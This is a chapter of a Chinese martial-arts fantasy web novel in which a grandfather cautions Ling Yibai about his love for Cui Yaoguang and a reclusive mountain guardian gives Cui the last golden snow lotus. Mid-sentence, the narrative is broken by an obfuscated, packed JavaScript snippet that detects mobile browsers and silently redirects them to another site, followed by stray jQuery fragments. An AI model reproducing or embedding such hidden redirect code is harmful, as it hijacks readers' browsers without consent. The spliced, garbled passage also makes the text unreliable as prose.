第一百八十三章世间仅此一朵。


    一行人搀扶着拓跋珍离开。


    凌一白有心想要跟上，但却被明啸给叫住了。


    他脚步这才顿住，眼睁睁地看着崔瑶光离开。


    无法，他只好返回台上。


    明啸只是淡淡地看了他一眼，“那姑娘，你认识？”


    凌一白微微点头，“我在盛京的朋友。”


    凌一白只说是朋友。


    但明啸看出来，他对人家姑娘有别的心思。


    明啸微微颔首，没有追问崔瑶光的身份，只是目光深沉地望向崔瑶光一行人消失的方向，缓缓道：“那位姑娘，行事果决，功力更是深不可测，竟能一掌废掉陈玄风。”


    “还有她身边那位，气息渊深似海，绝非寻常人物。桉儿，你这位朋友，来历恐怕不简单。”


    凌一白默然。


    他何尝不知？阿瑶的身边多了这样一位神秘莫测的人，实力突飞猛进，行事风格也似乎更加凌厉无忌。


    这一切都表明，她所经历的事情，远超出他的想象。


    “祖父说的是。”凌一白低声道，“阿瑶她，定是遇到了极大的机缘，或许也经历了极大的凶险。”


    明啸拍了拍他的肩膀，语重心长：“桉儿，情之一字，最是磨人。祖父看得出你对她用情颇深。但此女命格奇特，身边更伴有如此异人，注定前路多舛，风波不断。你若真心为她好，有时放手，或许比靠近更能护她周全。”


    这番话犹如一根细针，刺入凌一白心底。


    他何尝没有想过？今日擂台之上，崔瑶光面对陈玄风时的锋芒，与那人之间那种无需言语的默契，都让他感到一种难以逾越的距离。


    他似乎无法与其比较。


    但，他那颗悸动的心，如何能落下？


    “祖父教诲，孙儿记下了。”凌一白声音有些干涩？


    明啸叹了口气，“祖父也是不希望，你步入你父亲的后尘。”


    凌一白没再开口。


    ……


    “这便是外面吗？”守山人面色依旧没有任何血色。


    他站在云梦宫的廊檐下，目光越过飞檐，投向远方层峦叠嶂、云雾缭绕的山景。


    那眼神并非好奇或赞叹，而是审视的漠然，仿佛在评估眼前这个外面的世界，与他所熟悉的地方有何不同？


    崔瑶光正从屋内出来，闻言脚步微顿。


    她看着守山人挺拔却孤寂的背影，心中明了。


    对于长久守护着某个古老秘境，几乎与世隔绝的守山人而言，这繁华喧嚣，人声鼎沸的武林大会，这雕梁画栋，人来人往的云梦宫，大概确实是个陌生而嘈杂的“外面”。


    “是，这便是外面。”崔瑶光走到他身侧。


    “外面很大，也很复杂，有好人，也有像陈玄风那样的恶人，有守规矩的人，也有不守规矩的人。”


    守山人收回目光，侧头看向崔瑶光。


    他的眼神依旧清澈冰冷，如同山巅不化的雪。


    “你属于这里。”他陈述道，语气平淡，听不出是疑问还是肯定。


    崔瑶光沉默了一下，摇摇头：“也不完全是。我生长于盛京，见过繁华，也经历过离散。如今……”


    她看向屋内，“有需要保护的朋友，有必须追查的真相，也有不得不面对的敌人。或许，我只是属于自己选择的路。”


    守山人似乎思考了片刻，才道：“路，是自己走的。因果，也是自己结的。”


    他这话带着玄机，仿佛在说崔瑶光，也仿佛在说自己。


    “此地，因果线纷乱纠缠，煞气渐浓。不宜久留。”


    “我会离开。”崔瑶光道，“但是不是现在，我还有别的事情还没有解决。”


    “你说的是金色雪莲？”


    “我知道，你说过了，金色雪莲已经绝迹了，但是我还想找找别的能够代替的东西。”


    守山人眼底终于有了一丝波澜。


    “这是什么？”他忽然问。


    崔瑶光飒然一笑，“可能是我太过于执着了吧！”


    “执着？”守山人疑惑。


    而后，他弄懂了这个词。


    “执着，是一个不怎么好的东西，你要学会释然。”


    崔瑶光闻言，微微一怔，随即失笑。


    这话从守山人口中说出，带着一种不谙世事的通透，却又格外直指人心。


    “前辈说得是，执着确实容易生妄念，困己身。”


    她望着远处在暮色中逐渐模糊的山峦轮廓，声音轻缓，“可有时候，若没有这点执着，人又凭什么在这纷扰世间，去坚持一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877256|186958||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    些明知艰难、甚至可能徒劳无功的事情呢？”


    她转过头，看向守山人那双仿佛能映照出亘古冰雪的眼眸：“就像前辈您，长久守护着那片雪山，不也是一种执着吗？只是您的执着，或许更加纯粹，更加接近道的本身。”


    守山人沉默了片刻，似乎在消化崔瑶光的话。


    他守护雪山，是使命，是本能，是漫长岁月中形成的唯一存在意义。


    这与崔瑶光口中的“执着”，似乎相同，又似乎不同。


    “使命，与执念，不同。”他最终缓缓说道，每个字都吐得很清晰，像是经过深思，“使命，是应行之路。执念，是妄图强求。你所寻之物已逝，强求替代，便是执念。”


    金色雪莲已绝迹，这是守山人早就告诉过她的事实。


    她所谓的寻找替代，在守山人看来，不过是无法接受现实、徒劳挣扎的执念。


    崔瑶光脸上的笑容淡了下去，眼底掠过一丝不易察觉的痛楚和黯然。


    她何尝不知希望渺茫？


    只是她没办法做到真正的放下。


    “或许……您说得对。”她轻轻吸了口气，没有争辩，只是声音里带上了一丝疲惫，


    “但我总得……试试。哪怕只是让自己死心。”


    “伸手。”


    守山人转身面对着她。


    崔瑶光闻言，明显一愣。


    “嗯？”


    “我说伸出手！”他重复着这句话。


    崔瑶光不解，但照做。


    她伸出了手。


    守山人垂着眸，目光落在她的掌心上。


    他也伸出了手，苍白修长的手指，落在崔瑶光的掌心上方，并未触碰。


    他只是轻轻地点了一下。


    一朵被呵护的金色雪莲，就出现在了她的手中。


    崔瑶光眸眼骤缩。


    “这是……”


    “这是金色雪莲。”


    “可前辈不是说……”


    “世间仅此一朵，之后就真的没有了。”


    他的声音十分漠然，“这朵金色雪莲本应该跟着一起死亡，我见它十分倔强不肯消散，便用自身的精血养育着它，你若是想要，就送给你好了。”


    “为何帮我？”


    “你不是说，我是你的师傅吗？”